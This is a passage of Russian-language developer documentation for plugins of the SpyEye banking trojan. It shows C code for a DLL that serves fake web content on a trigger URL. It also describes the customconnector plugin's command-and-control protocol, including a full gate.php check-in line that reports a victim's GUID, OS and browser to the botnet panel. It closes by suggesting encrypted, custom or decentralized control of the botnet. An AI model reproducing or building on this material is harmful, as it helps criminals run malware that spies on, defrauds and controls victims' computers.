  32.         DebugWrite("[DEBUG] : szUrl == { %s }", szUrl);
  33.         if (strstr(szUrl, "CallbackOnBeforeLoadPage3"))
  34.                 *lpdwProcessMode = 1;
  35. }
  36.  
  37. DLLEXPORT void Callback_OnBeforeLoadPage3(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPostVars, OUT PCHAR * lpszContent, OUT PDWORD lpdwSize)
  38. {
  39.         DebugWrite("[DEBUG] : szUrl == { %s }", szUrl);
  40.  
  41.         *lpszContent = (PCHAR)malloc(sizeof(data));
  42.         if (!*lpszContent) {
  43.                 DebugWrite("[ERROR] : Ahtung! : *lpszContent == NULL");
  44.                 return;
  45.         }
  46.         CopyMemory(*lpszContent, data, sizeof(data));
  47.         *lpdwSize = sizeof(data);
  48. }
  49.  
  50. DLLEXPORT void FreeMem(LPVOID lpMem)
  51. {
  52.         free(lpMem);
  53. }

Собственно, если к любой картинке добавить в URL строку, "CallbackOnBeforeLoadPage3", то плагин вернёт фейковый контент. Примеры:

Оригинальная картинка:

white rabbit

Фейковая картинка, которую вернул плагин:

fake cookies

FAQ : Зачем нужен плагин customconnector?

* Внимание! Инфа устарела. Для более подробной информации смотрите сорцы плагина.

Начиная с v1.3, SpyEye использует отдельный плагин для связи с главной панелью управления.

На данный момент, используется следующий протокол для связи с админкой. Бот, по интервалу, отправляет примерно такое инфо в гейт:

> gate.php?guid=!USER-5C377A2CCF!046502F4&ver=10207&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&ccrc=13A7F1B3&md5=b9c3cb2cdc66b1f4465fe56cc34040b2&plg=customconnector

Это HTTP-GET запрос, который можно сегментировать на следующие параметры:

Первые пать параметров являются обязательными. Админка, анализируя их значения, может выдавать следующие команды:

Чтобы узнать значения для каждого из них, плагин использует соответствующее API:

Остальные параметры (stat, ie, os, ut) не требуют получения инфы от бота (не являются обязательными), поэтому генерируются самим плагином.

Схематично, работа плагина выглядит следующим образом:

schemecustomconnector

Протокол приёма команд SpyEye'ем - текстовый. То есть, в gate.php отправляется HTTP-GET запрос, и, если боту нужно выполнить какое-то действие, то customconnector.dll вызывает MainCpGateOutput. Ниже приведены типы команд и то, что передаётся в MainCpGateOutput для определённой команды

В случае, если SpyEye хочет передать инфо в главную админку. Например, о статусе задания, которое выполнилось ботом, то он вызывает функцию MainCpGateInput. Формат параметров такой же как и в случае с HTTP-GET запросом.

Итак, подводя итог. Плагин customconnector является посредником между ботом и главной админкой. Это даёт возможность, например, использовать какое-то шифрование трафика, между ботом и главной админкой (естественно, это потребует некоторых модификаций серверной части). Так же, можно эмулировать команды от админки, управляя SpyEye'ем. И вообще - можно отказаться от gate.php и использовать какой-то свой сервер для управления ботнетом. Также можно реализовать децентрализованный ботнет на базе этого плагина.

В общем, этот плагин расширяет возможности по custom'изации связи с админкой для developer'ов.